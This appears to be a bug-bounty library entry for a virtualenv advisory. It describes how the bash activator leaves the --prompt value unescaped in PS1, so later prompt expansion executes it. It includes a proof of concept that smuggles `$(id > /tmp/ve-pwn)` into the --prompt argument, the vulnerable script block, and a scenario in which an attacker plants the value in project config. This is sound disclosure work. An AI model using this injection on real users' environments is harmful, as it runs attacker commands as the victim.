# virtualenv: Bash activator leaves the --prompt value unescaped in PS1 when promptvars is off, so prompt expansion later executes it (regression in 21.14.9)

virtualenv's bash activator stored the --prompt value unescaped in PS1 when promptvars was off, so re-enabling prompt expansion later executed embedded command substitution.

- Payout: Research
- Severity: high
- Program: virtualenv
- Found by: rozzkml
- Disclosed: 2026-10-23
- CVE: CVE-2026-115586
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-cx6f-vjhg-g3cc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-cx6f-vjhg-g3cc
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:linux technique:incomplete-fix technique:regression technique:source-review vuln:command-injection vuln:rce

**Target:** bash activation script (bin/activate) PS1 prompt handling
**Root cause:** The bash activator treats the runtime shell option promptvars as fixed at activation time and, when it is off, copies VIRTUAL_ENV_PROMPT into PS1 without escaping `$` or backtick. Re-enabling prompt expansion later (shopt -s promptvars, set -o posix, or an interactive child bash) makes bash expand the stored value.
**Steps:**
1. Create env with payload prompt: `python -m virtualenv --no-seed --no-periodic-update --activators bash --prompt 'x$(id > /tmp/ve-pwn)y' /tmp/venv-demo`
2. Write rc that does `shopt -u promptvars`, `. /tmp/venv-demo/bin/activate`, then `shopt -s promptvars`
3. Run interactive bash in a pty: `printf 'exit\n' | script -qec 'bash --noprofile --rcfile /tmp/rc -i' /dev/null`
4. Observe `/tmp/ve-pwn` created with `id` output; prompt renders as `(xy)`
5. Alternate triggers: `set -o posix` after activation, or `export PS1` then start interactive child bash
**How found:** Noticed the 21.14.9 rewrite (#3418) removed the unconditional `$`/backtick escaping from the bash path while adding it for zsh, and reasoned that promptvars/posix mode are runtime state, not fixed at activation — so the stored raw value can be expanded later. Confirmed by diffing rendered PS1 across 21.14.8/21.14.9/21.14.12 and testing option transitions in a pty.
**Exploitation:** Attacker supplies a malicious --prompt value (e.g. via project metadata or tool config the victim did not write). Victim creates and activates the env; the raw value lands in PS1. On the next prompt redraw after prompt expansion is enabled — by the user's own shopt/set -o posix, or by an inherited PS1 in a child interactive bash — bash runs the command substitution as the activating user. Value persists in pyvenv.cfg and the generated script, so it fires in later sessions.
**Insight:** When a fix branches on a shell option (shopt/set -o) to decide whether escaping is needed, treat that option as mutable: test the transition (off at activation, on later) and inheritance into child shells, not just the state at source time. Same shape as the earlier zsh PROMPT_SUBST bug.

## Proof of concept (copied exactly from the original report)

**PoC: virtualenv --prompt payload then re-enable promptvars**

```
python -m virtualenv --no-seed --no-periodic-update --activators bash \
    --prompt 'x$(id > /tmp/ve-pwn)y' /tmp/venv-demo

cat > /tmp/rc <<'EOF'
shopt -u promptvars
. /tmp/venv-demo/bin/activate
shopt -s promptvars
EOF

# the prompt needs a tty; script(1) provides one
printf 'exit\n' | script -qec 'bash --noprofile --rcfile /tmp/rc -i' /dev/null

cat /tmp/ve-pwn
```

**Vulnerable bash activator PS1 block**

```
if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] &&
    { [ -n "${BASH_VERSION-}" ] || [ -n "${ZSH_VERSION-}" ]; }; then
    _OLD_VIRTUAL_PS1="${PS1-}"
    # bash expands PS1 after decoding its prompt escapes when promptvars is on or in posix mode, so the prompt holds a
    # reference to the variable and its value never reaches that expansion; otherwise only the decode runs and
    # backslashes need doubling. ...
    if [ -n "${BASH_VERSION-}" ] && { shopt -q promptvars || shopt -qo posix; }; then
        PS1='(${VIRTUAL_ENV_PROMPT-}) '"${PS1-}"
    else
        _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
        if [ -n "${ZSH_VERSION-}" ]; then
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
        fi
        PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"
        unset _VIRTUAL_PROMPT
    fi
fi
```

